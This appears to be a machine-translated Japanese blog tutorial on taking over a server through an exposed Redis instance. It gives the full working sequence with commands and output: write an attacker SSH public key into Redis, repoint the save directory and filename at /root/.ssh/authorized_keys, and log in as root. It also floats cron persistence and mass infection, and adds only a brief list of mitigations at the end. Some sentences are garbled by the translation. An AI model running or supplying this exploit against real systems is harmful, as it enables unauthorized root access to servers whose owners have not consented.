ホームページ  >  記事  >  データベース  >  Redis マイニングの原則について話しましょう (詳細な例)

Redis マイニングの原則について話しましょう (詳細な例)

WBOY
WBOY転載
2022-02-23 17:57:383202ブラウズ

この記事では、Redis マイニング原則に関する関連知識を提供します。Redis を使用して権限を昇格し、リモート サーバーの root ユーザーを取得する方法と、それを保護する方法を示しましょう。助けてください みんな助けてくれます。

Redis マイニングの原則について話しましょう (詳細な例)

推奨される学習: Redis ビデオ チュートリアル

今日は、権限昇格を通じてリモート サーバーの root ユーザーを取得する方法を説明します。 Redis を通じて。

1. まず、いくつかの前提条件が必要です

  • 条件 1: まず Redis が必要で、そのポートを知っている必要があります [ デフォルト 6379 ];

  • 条件 2: Redis のパスワードは複雑すぎることはできません。またはパスワードがありません;

  • 条件 3: Redis を開始する必要があります。Root ユーザーになる方が良いですが、これはより破壊的です。

#2. 問題を起こし始めます

  • ##2.1 秘密鍵のペアの作成

#ssh-keygen を通じてペアを生成します。もちろん、既存のものを使用しても問題ありません。 。

root@kali:/usr/local/src# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
次に公開鍵から攻撃キーの値を生成します

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
内容は以下の通りです

root@kali:/tmp/rediskey# cat foo.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
ここで前後に改行を2行追加する目的はデータが相互に接続されて障害の問題が発生するのを防ぎます。

  • 2.2 Redis へのキーの設定

操作は次のとおりです:

root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK
ログインRedis に書き込まれているかどうかを確認するために Redis に送信します。

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
  • 2.3 Redis 保存メカニズムを介してシステム ファイルを置き換える

そして、次の操作を参照してください

192.168.243.129:6379> config set dir /root/.ssh
OK
192.168.243.129:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.243.129:6379> config set dbfilename "authorized_keys"
OK
192.168.243.129:6379> save
OK
192.168.243.129:6379> exit
この時点で、リモート ホストにログインして効果を確認します。

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~#
OK、ここでの権利の昇格は成功しました。それでは、エクスポートされたファイルが何であるかを見てみましょう。実際には Redis をファイル形式で保存したものですが、ここでは示しませんので、興味のある方は自分で開いて見てください。

3. 回避方法

この脆弱性は非常に強力です。現在ホスト権限を 1 つだけ持っており、それをスケジュールされたタスクに追加していくつかのスクリプトを実行します。バッチ感染についてはどうですか?

予防のためのヒントは次のとおりです:

  • Redis は危険な IP をリッスンしないでください。その場合は、ファイアウォール制御を追加してください

  • Redis パスワード制限を強化する必要があり、弱いパスワードを使用することはできません。

  • ## Redis を root ユーザーとして起動しないようにしてください。
  • Redis マイニングを防ぐために上記の 3 つのポイントを実行します。問題ありません。

推奨学習:

Redis ビデオ チュートリアル

以上がRedis マイニングの原則について話しましょう (詳細な例)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。